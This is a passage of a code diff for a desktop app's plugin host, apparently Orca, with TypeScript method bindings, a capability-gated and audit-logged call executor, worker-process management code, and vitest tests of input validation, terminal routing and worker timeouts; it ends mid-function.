||||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
|
||||
export type PluginWorktreeContext = {
|
||||
worktreeId: string
|
||||
branch: string
|
||||
displayName: string
|
||||
}
|
||||
|
||||
/** Structural service surface the facade delegates to. Desktop main binds it
|
||||
* over runtime services; relay policy and conformance tests bind fakes. */
|
||||
export type PluginHostServices = {
|
||||
resolveActiveWorktreeContext(): Promise<PluginWorktreeContext | null>
|
||||
listWorktreeTerminals(worktreeId: string): Promise<{ id: string }[]>
|
||||
sendTerminalText(
|
||||
terminalId: string,
|
||||
action: { text: string; enter: boolean }
|
||||
): Promise<{ accepted: boolean }>
|
||||
dispatchPluginNotification(input: {
|
||||
pluginId: string
|
||||
title: string
|
||||
body?: string
|
||||
}): Promise<{ delivered: boolean }>
|
||||
storage: {
|
||||
get(pluginId: string, key: string): unknown
|
||||
set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
|
||||
delete(pluginId: string, key: string): void
|
||||
keys(pluginId: string): string[]
|
||||
}
|
||||
secrets: {
|
||||
get(
|
||||
pluginId: string,
|
||||
key: string
|
||||
): { ok: true; value: string | null } | { ok: false; error: string }
|
||||
set(pluginId: string, key: string, value: string): { ok: true } | { ok: false; error: string }
|
||||
delete(pluginId: string, key: string): void
|
||||
}
|
||||
settings: {
|
||||
getAll(pluginId: string): Record<string, unknown>
|
||||
set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
|
||||
}
|
||||
subscribeEvents(pluginId: string, events: PluginEventName[]): PluginEventName[]
|
||||
}
|
||||
|
||||
export type BoundPluginHostMethod = {
|
||||
spec: PluginHostMethodSpec
|
||||
handler: (
|
||||
params: unknown,
|
||||
ctx: { pluginId: string; services: PluginHostServices }
|
||||
) => Promise<unknown>
|
||||
}
|
||||
|
||||
function definePluginMethod(
|
||||
name: string,
|
||||
handler: BoundPluginHostMethod['handler']
|
||||
): [string, BoundPluginHostMethod] {
|
||||
const spec = getPluginHostMethodSpec(name)
|
||||
if (!spec) {
|
||||
throw new Error(`no host API spec for method ${name}`)
|
||||
}
|
||||
return [name, { spec, handler }]
|
||||
}
|
||||
|
||||
const HANDLERS = new Map<string, BoundPluginHostMethod>([
|
||||
definePluginMethod('workspace.readContext', async (_params, { services }) => {
|
||||
const context = await services.resolveActiveWorktreeContext()
|
||||
if (!context) {
|
||||
return null
|
||||
}
|
||||
const terminals = await services.listWorktreeTerminals(context.worktreeId)
|
||||
// Why: Orca worktree ids embed provider paths, so the public projection
|
||||
// must select safe fields instead of spreading the internal context.
|
||||
return {
|
||||
branch: context.branch.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
|
||||
displayName: context.displayName.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
|
||||
terminals: terminals
|
||||
.filter(
|
||||
(terminal) =>
|
||||
terminal.id.length > 0 && terminal.id.length <= PLUGIN_TERMINAL_ID_MAX_LENGTH
|
||||
)
|
||||
.slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
|
||||
.map((terminal) => ({ id: terminal.id }))
|
||||
}
|
||||
}),
|
||||
definePluginMethod('terminal.sendText', async (params, { services }) => {
|
||||
const { terminalId, text, enter } = params as {
|
||||
terminalId: string
|
||||
text: string
|
||||
enter: boolean
|
||||
}
|
||||
const context = await services.resolveActiveWorktreeContext()
|
||||
if (!context) {
|
||||
throw new Error('no active worktree is available for terminal input')
|
||||
}
|
||||
// Why: terminal handles are provider-owned and can outlive focus changes;
|
||||
// re-list the resolved worktree immediately before routing plugin input.
|
||||
const terminals = await services.listWorktreeTerminals(context.worktreeId)
|
||||
if (!terminals.some((terminal) => terminal.id === terminalId)) {
|
||||
throw new Error('terminal is outside the active worktree')
|
||||
}
|
||||
const result = await services.sendTerminalText(terminalId, { text, enter })
|
||||
return { accepted: result.accepted }
|
||||
}),
|
||||
definePluginMethod('notifications.show', async (params, { pluginId, services }) => {
|
||||
const { title, body } = params as { title: string; body?: string }
|
||||
return services.dispatchPluginNotification({ pluginId, title, body })
|
||||
}),
|
||||
definePluginMethod('storage.get', async (params, { pluginId, services }) => {
|
||||
const { key } = params as { key: string }
|
||||
return { value: services.storage.get(pluginId, key) ?? null }
|
||||
}),
|
||||
definePluginMethod('storage.set', async (params, { pluginId, services }) => {
|
||||
const { key, value } = params as { key: string; value: unknown }
|
||||
const result = services.storage.set(pluginId, key, value)
|
||||
if (!result.ok) {
|
||||
throw new Error(result.error)
|
||||
}
|
||||
return { ok: true }
|
||||
}),
|
||||
definePluginMethod('storage.delete', async (params, { pluginId, services }) => {
|
||||
const { key } = params as { key: string }
|
||||
services.storage.delete(pluginId, key)
|
||||
return { ok: true }
|
||||
}),
|
||||
definePluginMethod('storage.keys', async (_params, { pluginId, services }) => {
|
||||
return { keys: services.storage.keys(pluginId) }
|
||||
}),
|
||||
definePluginMethod('secrets.get', async (params, { pluginId, services }) => {
|
||||
const { key } = params as { key: string }
|
||||
const result = services.secrets.get(pluginId, key)
|
||||
if (!result.ok) {
|
||||
throw new Error(result.error)
|
||||
}
|
||||
return { value: result.value }
|
||||
}),
|
||||
definePluginMethod('secrets.set', async (params, { pluginId, services }) => {
|
||||
const { key, value } = params as { key: string; value: string }
|
||||
const result = services.secrets.set(pluginId, key, value)
|
||||
if (!result.ok) {
|
||||
throw new Error(result.error)
|
||||
}
|
||||
return { ok: true }
|
||||
}),
|
||||
definePluginMethod('secrets.delete', async (params, { pluginId, services }) => {
|
||||
const { key } = params as { key: string }
|
||||
services.secrets.delete(pluginId, key)
|
||||
return { ok: true }
|
||||
}),
|
||||
definePluginMethod('settings.get', async (_params, { pluginId, services }) => {
|
||||
return { settings: services.settings.getAll(pluginId) }
|
||||
}),
|
||||
definePluginMethod('settings.set', async (params, { pluginId, services }) => {
|
||||
const { key, value } = params as { key: string; value: unknown }
|
||||
const result = services.settings.set(pluginId, key, value)
|
||||
if (!result.ok) {
|
||||
throw new Error(result.error)
|
||||
}
|
||||
return { ok: true }
|
||||
}),
|
||||
definePluginMethod('events.subscribe', async (params, { pluginId, services }) => {
|
||||
const { events } = params as { events: PluginEventName[] }
|
||||
return { subscribed: services.subscribeEvents(pluginId, events) }
|
||||
})
|
||||
])
|
||||
|
||||
// Why: adding a facade schema without a binding must fail at module load,
|
||||
// before a plugin can observe transport-specific behavior.
|
||||
if (HANDLERS.size !== PLUGIN_HOST_API_V0.length) {
|
||||
throw new Error('plugin host API spec table and handler bindings are out of sync')
|
||||
}
|
||||
|
||||
export function getBoundPluginHostMethod(name: string): BoundPluginHostMethod | null {
|
||||
return HANDLERS.get(name) ?? null
|
||||
}
|
||||
|
|
@ -0,0 +1,232 @@
|
|||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
|
||||
import { bindPluginHostServices, type PluginRuntimeDelegate } from './plugin-host-service-bindings'
|
||||
import { executePluginHostCall, type PluginHostServices } from './plugin-host-methods'
|
||||
|
||||
function createServices(storageSet: PluginHostServices['storage']['set']): PluginHostServices {
|
||||
return {
|
||||
resolveActiveWorktreeContext: vi.fn().mockResolvedValue(null),
|
||||
listWorktreeTerminals: vi.fn().mockResolvedValue([]),
|
||||
sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
|
||||
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
|
||||
storage: {
|
||||
get: vi.fn(),
|
||||
set: storageSet,
|
||||
delete: vi.fn(),
|
||||
keys: vi.fn().mockReturnValue([])
|
||||
},
|
||||
secrets: {
|
||||
get: vi.fn().mockReturnValue({ ok: true, value: null }),
|
||||
set: vi.fn().mockReturnValue({ ok: true }),
|
||||
delete: vi.fn()
|
||||
},
|
||||
settings: {
|
||||
getAll: vi.fn().mockReturnValue({}),
|
||||
set: vi.fn().mockReturnValue({ ok: true })
|
||||
},
|
||||
subscribeEvents: vi.fn().mockReturnValue([])
|
||||
}
|
||||
}
|
||||
|
||||
describe('executePluginHostCall mutation auditing', () => {
|
||||
it('rejects prototype-sensitive storage keys before any host service call', async () => {
|
||||
const storageSet = vi.fn().mockReturnValue({ ok: true })
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
params: { key: '__proto__', value: 42 },
|
||||
viaPanel: false,
|
||||
grantedCapabilities: ['storage'],
|
||||
services: createServices(storageSet),
|
||||
audit: { record: vi.fn().mockResolvedValue(undefined) }
|
||||
})
|
||||
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
|
||||
expect(storageSet).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('rejects non-JSON storage values before any host service call', async () => {
|
||||
const storageSet = vi.fn().mockReturnValue({ ok: true })
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
params: { key: 'created', value: new Date() },
|
||||
viaPanel: false,
|
||||
grantedCapabilities: ['storage'],
|
||||
services: createServices(storageSet),
|
||||
audit: { record: vi.fn().mockResolvedValue(undefined) }
|
||||
})
|
||||
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
|
||||
expect(storageSet).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('fails closed before a mutation when the audit intent cannot be recorded', async () => {
|
||||
const storageSet = vi.fn().mockReturnValue({ ok: true })
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
params: { key: 'answer', value: 42 },
|
||||
viaPanel: false,
|
||||
grantedCapabilities: ['storage'],
|
||||
services: createServices(storageSet),
|
||||
audit: { record: vi.fn().mockRejectedValue(new Error('disk full')) }
|
||||
})
|
||||
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
|
||||
expect(storageSet).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('records an intent before the mutation and its outcome afterward', async () => {
|
||||
const order: string[] = []
|
||||
const storageSet = vi.fn(() => {
|
||||
order.push('mutation')
|
||||
return { ok: true as const }
|
||||
})
|
||||
const record = vi.fn(async (entry: { outcome: string }) => {
|
||||
order.push(`audit:${entry.outcome}`)
|
||||
})
|
||||
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
params: { key: 'answer', value: 42 },
|
||||
viaPanel: false,
|
||||
grantedCapabilities: ['storage'],
|
||||
services: createServices(storageSet),
|
||||
audit: { record }
|
||||
})
|
||||
|
||||
expect(outcome).toEqual({ ok: true, value: { ok: true } })
|
||||
expect(order).toEqual(['audit:attempt', 'mutation', 'audit:ok'])
|
||||
})
|
||||
|
||||
it('refuses mutations when no audit writer is configured', async () => {
|
||||
const storageSet = vi.fn().mockReturnValue({ ok: true })
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
params: { key: 'answer', value: 42 },
|
||||
viaPanel: false,
|
||||
grantedCapabilities: ['storage'],
|
||||
services: createServices(storageSet)
|
||||
})
|
||||
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'unavailable' })
|
||||
expect(storageSet).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
function createTerminalHarness(terminalHandles: string[]): {
|
||||
delegate: PluginRuntimeDelegate
|
||||
services: PluginHostServices
|
||||
} {
|
||||
const delegate: PluginRuntimeDelegate = {
|
||||
resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
|
||||
worktreeId: 'worktree-1',
|
||||
path: '/Users/private/repo',
|
||||
branch: 'main',
|
||||
displayName: 'Repo'
|
||||
}),
|
||||
listTerminals: vi.fn().mockResolvedValue({
|
||||
terminals: terminalHandles.map((handle) => ({ handle, title: null }))
|
||||
}),
|
||||
sendTerminal: vi.fn().mockResolvedValue({ accepted: true }),
|
||||
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true })
|
||||
}
|
||||
return {
|
||||
delegate,
|
||||
services: bindPluginHostServices({
|
||||
delegate,
|
||||
pluginsDataDir: join(tmpdir(), 'plugin-host-methods-test'),
|
||||
subscribeEvents: vi.fn().mockReturnValue([])
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
async function sendTerminalText(
|
||||
services: PluginHostServices,
|
||||
terminalId: string
|
||||
): ReturnType<typeof executePluginHostCall> {
|
||||
return executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'terminal.sendText',
|
||||
params: { terminalId, text: 'echo hi', enter: true },
|
||||
viaPanel: true,
|
||||
grantedCapabilities: ['terminal:send'],
|
||||
services,
|
||||
audit: { record: vi.fn().mockResolvedValue(undefined) }
|
||||
})
|
||||
}
|
||||
|
||||
describe('terminal.sendText explicit worktree routing', () => {
|
||||
it('performs one bounded list and zero sends when the terminal is outside the worktree', async () => {
|
||||
const { delegate, services } = createTerminalHarness(['terminal:local:other'])
|
||||
|
||||
const outcome = await sendTerminalText(services, 'terminal:ssh:requested')
|
||||
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
|
||||
expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
|
||||
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
|
||||
expect(delegate.listTerminals).toHaveBeenCalledWith(
|
||||
'id:worktree-1',
|
||||
PLUGIN_WORKSPACE_TERMINAL_LIMIT
|
||||
)
|
||||
expect(delegate.sendTerminal).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it.each(['terminal:local:one', 'terminal:ssh:opaque-provider-id'])(
|
||||
'performs one bounded list and one send for provider-agnostic id %s',
|
||||
async (terminalId) => {
|
||||
const { delegate, services } = createTerminalHarness([terminalId])
|
||||
|
||||
const outcome = await sendTerminalText(services, terminalId)
|
||||
|
||||
expect(outcome).toEqual({ ok: true, value: { accepted: true } })
|
||||
expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
|
||||
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
|
||||
expect(delegate.listTerminals).toHaveBeenCalledWith(
|
||||
'id:worktree-1',
|
||||
PLUGIN_WORKSPACE_TERMINAL_LIMIT
|
||||
)
|
||||
expect(delegate.sendTerminal).toHaveBeenCalledTimes(1)
|
||||
expect(delegate.sendTerminal).toHaveBeenCalledWith(terminalId, {
|
||||
text: 'echo hi',
|
||||
enter: true
|
||||
})
|
||||
expect(vi.mocked(delegate.listTerminals).mock.invocationCallOrder[0]!).toBeLessThan(
|
||||
vi.mocked(delegate.sendTerminal).mock.invocationCallOrder[0]!
|
||||
)
|
||||
}
|
||||
)
|
||||
|
||||
it('bounds workspace.readContext and omits the provider path', async () => {
|
||||
const handles = Array.from(
|
||||
{ length: PLUGIN_WORKSPACE_TERMINAL_LIMIT + 10 },
|
||||
(_, index) => `terminal:local:${index}`
|
||||
)
|
||||
const { delegate, services } = createTerminalHarness(handles)
|
||||
|
||||
const outcome = await executePluginHostCall({
|
||||
pluginId: 'orca-samples.demo',
|
||||
method: 'workspace.readContext',
|
||||
params: {},
|
||||
viaPanel: true,
|
||||
grantedCapabilities: ['workspace:read'],
|
||||
services
|
||||
})
|
||||
|
||||
expect(outcome).toMatchObject({
|
||||
ok: true,
|
||||
value: { branch: 'main', displayName: 'Repo' }
|
||||
})
|
||||
expect(outcome).not.toHaveProperty('value.path')
|
||||
expect(outcome).not.toHaveProperty('value.worktreeId')
|
||||
expect(outcome.ok && (outcome.value as { terminals: unknown[] }).terminals).toHaveLength(
|
||||
PLUGIN_WORKSPACE_TERMINAL_LIMIT
|
||||
)
|
||||
expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,144 @@
|
|||
import { getBoundPluginHostMethod, type PluginHostServices } from './plugin-host-method-bindings'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import { gatePluginHostCall as decidePluginHostCall } from '../../shared/plugins/plugin-capability-gate'
|
||||
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
|
||||
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
|
||||
import type { PluginAuditLog } from './plugin-audit-log'
|
||||
|
||||
/**
|
||||
* Host API v0 handler bindings — the one place plugin-originated calls
|
||||
* (panel bridge, worker hostCall, serve RPC relay) execute. Handlers
|
||||
* delegate to runtime services through the structural `PluginHostServices`
|
||||
* interface, so this module stays electron-free and the relay conformance
|
||||
* suite can run the identical chokepoint against a fake service set.
|
||||
*/
|
||||
|
||||
export type { PluginHostServices } from './plugin-host-method-bindings'
|
||||
|
||||
export type ExecutePluginHostCallInput = {
|
||||
/** Qualified plugin key, bound host-side from authenticated identity. */
|
||||
pluginId: string
|
||||
method: string
|
||||
params: unknown
|
||||
/** True when the call arrives over the sandboxed panel bridge. */
|
||||
viaPanel: boolean
|
||||
/** Consented capability kinds; null = unknown/disabled/consent-stale. */
|
||||
grantedCapabilities: readonly PluginCapabilityKind[] | null
|
||||
services: PluginHostServices | null
|
||||
audit?: Pick<PluginAuditLog, 'record'>
|
||||
}
|
||||
|
||||
export async function executePluginHostCall(
|
||||
input: ExecutePluginHostCallInput
|
||||
): Promise<PluginPanelActionOutcome> {
|
||||
if (!isQualifiedPluginKey(input.pluginId)) {
|
||||
return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
|
||||
}
|
||||
const gate = decidePluginHostCall(
|
||||
{ grantedCapabilities: input.grantedCapabilities, viaPanel: input.viaPanel },
|
||||
input.method
|
||||
)
|
||||
if (!gate.granted) {
|
||||
return { ok: false, code: gate.code, error: gate.error }
|
||||
}
|
||||
const bound = getBoundPluginHostMethod(input.method)
|
||||
if (!bound) {
|
||||
return { ok: false, code: 'unknown_method', error: `unknown host method: ${input.method}` }
|
||||
}
|
||||
const parsedParams = bound.spec.params.safeParse(input.params)
|
||||
if (!parsedParams.success) {
|
||||
const issue = parsedParams.error.issues[0]
|
||||
const path = issue?.path.join('.') || '(root)'
|
||||
return {
|
||||
ok: false,
|
||||
code: 'invalid_params',
|
||||
error: `${path}: ${issue?.message ?? 'invalid params'}`
|
||||
}
|
||||
}
|
||||
if (!input.services) {
|
||||
return { ok: false, code: 'unavailable', error: 'runtime is not available' }
|
||||
}
|
||||
const auditMutation = async (outcome: 'attempt' | 'ok' | 'error'): Promise<void> => {
|
||||
if (bound.spec.mutation && input.audit) {
|
||||
await input.audit.record({
|
||||
ts: Date.now(),
|
||||
actor: `plugin:${input.pluginId}`,
|
||||
method: input.method,
|
||||
summary: summarizeParams(input.method, parsedParams.data),
|
||||
outcome
|
||||
})
|
||||
}
|
||||
}
|
||||
if (bound.spec.mutation) {
|
||||
if (!input.audit) {
|
||||
return {
|
||||
ok: false,
|
||||
code: 'unavailable',
|
||||
error: 'mutation audit log is not available'
|
||||
}
|
||||
}
|
||||
try {
|
||||
// The intent is appended before the handler. If this write fails, the
|
||||
// mutation is never attempted.
|
||||
await auditMutation('attempt')
|
||||
} catch {
|
||||
return {
|
||||
ok: false,
|
||||
code: 'action_failed',
|
||||
error: 'mutation audit log could not be written'
|
||||
}
|
||||
}
|
||||
}
|
||||
try {
|
||||
const value = await bound.handler(parsedParams.data, {
|
||||
pluginId: input.pluginId,
|
||||
services: input.services
|
||||
})
|
||||
const validated = bound.spec.result.safeParse(value)
|
||||
if (!validated.success) {
|
||||
await auditMutation('error').catch(() => undefined)
|
||||
// A result-schema mismatch is a host bug; fail the call rather than
|
||||
// leaking an unvalidated shape into plugin-facing transports.
|
||||
return {
|
||||
ok: false,
|
||||
code: 'action_failed',
|
||||
error: `internal: malformed ${input.method} result`
|
||||
}
|
||||
}
|
||||
await auditMutation('ok').catch(() => undefined)
|
||||
return { ok: true, value: validated.data }
|
||||
} catch (error) {
|
||||
await auditMutation('error').catch(() => undefined)
|
||||
return {
|
||||
ok: false,
|
||||
code: 'action_failed',
|
||||
error: error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Bounded, content-free summaries for the audit log. */
|
||||
function summarizeParams(method: string, params: unknown): string {
|
||||
const record = (typeof params === 'object' && params !== null ? params : {}) as Record<
|
||||
string,
|
||||
unknown
|
||||
>
|
||||
switch (method) {
|
||||
case 'terminal.sendText': {
|
||||
const text = typeof record.text === 'string' ? record.text : ''
|
||||
return `terminal=${String(record.terminalId)} bytes=${Buffer.byteLength(text, 'utf8')} enter=${record.enter === true}`
|
||||
}
|
||||
case 'notifications.show': {
|
||||
const title = typeof record.title === 'string' ? record.title : ''
|
||||
return `titleChars=${title.length}`
|
||||
}
|
||||
case 'storage.set':
|
||||
case 'storage.delete':
|
||||
case 'secrets.set':
|
||||
case 'secrets.delete':
|
||||
case 'settings.set':
|
||||
return `key=${String(record.key)}`
|
||||
default:
|
||||
return ''
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,135 @@
|
|||
import { EventEmitter } from 'node:events'
|
||||
import { PassThrough } from 'node:stream'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const processMocks = vi.hoisted(() => ({ fork: vi.fn() }))
|
||||
vi.mock('node:child_process', () => ({ fork: processMocks.fork }))
|
||||
|
||||
import { startPluginWorker } from './plugin-host-process'
|
||||
|
||||
class FakeChild extends EventEmitter {
|
||||
connected = true
|
||||
stdout = new PassThrough()
|
||||
stderr = new PassThrough()
|
||||
send = vi.fn()
|
||||
kill = vi.fn()
|
||||
}
|
||||
|
||||
function start(child: FakeChild, options: { eventTimeoutMs?: number } = {}) {
|
||||
processMocks.fork.mockReturnValue(child)
|
||||
return startPluginWorker({
|
||||
pluginId: 'orca-samples.demo',
|
||||
rootDir: '/plugin',
|
||||
mainEntry: 'worker.js',
|
||||
entryPath: '/host.js',
|
||||
grantedCapabilities: [],
|
||||
executeHostCall: async () => ({ ok: true, value: null }),
|
||||
log: vi.fn(),
|
||||
...options
|
||||
})
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
processMocks.fork.mockReset()
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers()
|
||||
})
|
||||
|
||||
describe('startPluginWorker', () => {
|
||||
it('does not inherit Orca execArgv', async () => {
|
||||
const child = new FakeChild()
|
||||
const pending = start(child)
|
||||
child.emit('message', { type: 'ready', commands: [] })
|
||||
await pending
|
||||
|
||||
expect(processMocks.fork).toHaveBeenCalledWith(
|
||||
'/host.js',
|
||||
[],
|
||||
expect.objectContaining({ execArgv: [] })
|
||||
)
|
||||
})
|
||||
|
||||
it('replays an exit that happened before handle registration', async () => {
|
||||
const child = new FakeChild()
|
||||
const pending = start(child)
|
||||
child.emit('message', { type: 'ready', commands: ['run'] })
|
||||
const handle = await pending
|
||||
child.emit('exit', 23)
|
||||
const onExit = vi.fn()
|
||||
|
||||
handle.onExit(onExit)
|
||||
|
||||
expect(onExit).toHaveBeenCalledOnce()
|
||||
expect(onExit).toHaveBeenCalledWith(23)
|
||||
})
|
||||
|
||||
it('kills a live worker that disconnects its IPC channel', async () => {
|
||||
const child = new FakeChild()
|
||||
const pending = start(child)
|
||||
child.emit('message', { type: 'ready', commands: ['run'] })
|
||||
const handle = await pending
|
||||
const command = handle.invokeCommand('run')
|
||||
child.connected = false
|
||||
|
||||
child.emit('disconnect')
|
||||
|
||||
await expect(command).rejects.toThrow('disconnected')
|
||||
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
|
||||
})
|
||||
|
||||
it('counts delivered events as in flight until their acknowledgement', async () => {
|
||||
const child = new FakeChild()
|
||||
const pending = start(child)
|
||||
child.emit('message', { type: 'ready', commands: [] })
|
||||
const handle = await pending
|
||||
|
||||
handle.deliverEvent('worktree.created', {
|
||||
worktreeId: 'worktree-1',
|
||||
path: '/repo',
|
||||
branch: 'feature'
|
||||
})
|
||||
|
||||
expect(handle.inFlightCount()).toBe(1)
|
||||
child.emit('message', { type: 'eventAck', eventId: 0 })
|
||||
expect(handle.inFlightCount()).toBe(0)
|
||||
})
|
||||
|
||||
it('kills a worker whose event handler never acknowledges completion', async () => {
|
||||
vi.useFakeTimers()
|
||||
const child = new FakeChild()
|
||||
const pending = start(child, { eventTimeoutMs: 25 })
|
||||
child.emit('message', { type: 'ready', commands: [] })
|
||||
const handle = await pending
|
||||
|
||||
handle.deliverEvent('worktree.created', {
|
||||
worktreeId: 'worktree-1',
|
||||
path: '/repo',
|
||||
branch: 'feature'
|
||||
})
|
||||
await vi.advanceTimersByTimeAsync(25)
|
||||
|
||||
expect(handle.inFlightCount()).toBe(0)
|
||||
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
|
||||
})
|
||||
|
||||
it('kills a worker that exceeds the pending event cap', async () => {
|
||||
const child = new FakeChild()
|
||||
const pending = start(child)
|
||||
child.emit('message', { type: 'ready', commands: [] })
|
||||
const handle = await pending
|
||||
|
||||
for (let index = 0; index < 65; index += 1) {
|
||||
handle.deliverEvent('agent.status.changed', {
|
||||
worktreeId: null,
|
||||
paneKey: `pane-${index}`,
|
||||
state: 'working',
|
||||
receivedAt: Date.now()
|
||||
})
|
||||
}
|
||||
|
||||
expect(handle.inFlightCount()).toBe(64)
|
||||
expect(child.kill).toHaveBeenCalledWith('SIGKILL')
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,332 @@
|
|||
import { fork, type ChildProcess } from 'node:child_process'
|
||||
import { existsSync } from 'node:fs'
|
||||
import { join } from 'node:path'
|
||||
import {
|
||||
PLUGIN_WORKER_INVOKE_TIMEOUT_MS,
|
||||
PLUGIN_WORKER_READY_TIMEOUT_MS,
|
||||
pluginWorkerChildMessageSchema,
|
||||
type PluginWorkerParentMessage
|
||||
} from '../../shared/plugins/plugin-host-protocol'
|
||||
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
|
||||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
|
||||
import { buildPluginWorkerEnv } from './plugin-worker-env'
|
||||
import { pipePluginWorkerOutput } from './plugin-worker-output-buffer'
|
||||
|
||||
// Grace between the shutdown message and SIGKILL: long enough for plugin
|
||||
// cleanup, short enough that disable/quit never feels stuck.
|
||||
const PLUGIN_WORKER_SHUTDOWN_GRACE_MS = 2_000
|
||||
const PLUGIN_WORKER_EVENT_TIMEOUT_MS = 5 * 60_000
|
||||
const PLUGIN_WORKER_MAX_PENDING_EVENTS = 64
|
||||
|
||||
export type PluginWorkerLogSink = (level: 'info' | 'warn' | 'error', line: string) => void
|
||||
|
||||
/** Executes a worker-originated host API call; the outcome is relayed back
|
||||
* over the fork channel as a hostResult message. */
|
||||
export type PluginWorkerHostCallExecutor = (
|
||||
method: string,
|
||||
params: unknown
|
||||
) => Promise<PluginPanelActionOutcome>
|
||||
|
||||
export type PluginWorkerHandle = {
|
||||
/** Command ids the worker registered on activate (⊆ manifest commands). */
|
||||
commands: readonly string[]
|
||||
invokeCommand(commandId: string, args?: unknown): Promise<unknown>
|
||||
deliverEvent(event: PluginEventName, payload: unknown): void
|
||||
/** Milliseconds timestamp of the last completed work (for idle reap). */
|
||||
lastActivityAt(): number
|
||||
inFlightCount(): number
|
||||
dispose(): Promise<void>
|
||||
kill(): void
|
||||
onExit(callback: (code: number | null) => void): void
|
||||
}
|
||||
|
||||
export type StartPluginWorkerOptions = {
|
||||
pluginId: string
|
||||
rootDir: string
|
||||
mainEntry: string
|
||||
/** Absolute path to the compiled plugin-host-entry.js, resolved by caller. */
|
||||
entryPath: string
|
||||
grantedCapabilities: readonly PluginCapabilityKind[]
|
||||
executeHostCall: PluginWorkerHostCallExecutor
|
||||
log: PluginWorkerLogSink
|
||||
readyTimeoutMs?: number
|
||||
invokeTimeoutMs?: number
|
||||
eventTimeoutMs?: number
|
||||
signal?: AbortSignal
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves the compiled child entry from the app path. Mirrors
|
||||
* getDaemonEntryPath(): packaged apps must fork the asar-unpacked copy
|
||||
* because fork() cannot execute scripts from inside app.asar.
|
||||
*/
|
||||
export function resolvePluginHostEntryPath(appPath: string, isPackaged: boolean): string {
|
||||
const basePath = isPackaged ? appPath.replace('app.asar', 'app.asar.unpacked') : appPath
|
||||
const directEntryPath = join(basePath, 'plugin-host-entry.js')
|
||||
if (existsSync(directEntryPath)) {
|
||||
return directEntryPath
|
||||
}
|
||||
return join(basePath, 'out', 'main', 'plugin-host-entry.js')
|
||||
}
|
||||
|
||||
type PendingCall = {
|
||||
resolve: (value: unknown) => void
|
||||
reject: (error: Error) => void
|
||||
timer: ReturnType<typeof setTimeout>
|
||||
}
|
||||
|
||||
export async function startPluginWorker(
|
||||
options: StartPluginWorkerOptions
|
||||
): Promise<PluginWorkerHandle> {
|
||||
const { pluginId, rootDir, mainEntry, entryPath, log } = options
|
||||
const readyTimeoutMs = options.readyTimeoutMs ?? PLUGIN_WORKER_READY_TIMEOUT_MS
|
||||
const invokeTimeoutMs = options.invokeTimeoutMs ?? PLUGIN_WORKER_INVOKE_TIMEOUT_MS
|
||||
const eventTimeoutMs = options.eventTimeoutMs ?? PLUGIN_WORKER_EVENT_TIMEOUT_MS
|
||||
const tag = `[plugin:${pluginId}]`
|
||||
|
||||
const child: ChildProcess = fork(entryPath, [], {
|
||||
// Why: ELECTRON_RUN_AS_NODE makes the forked Electron binary behave as
|
||||
// plain Node. The env is a scrubbed allowlist — never ...process.env,
|
||||
// which can carry shell-exported secrets into third-party code.
|
||||
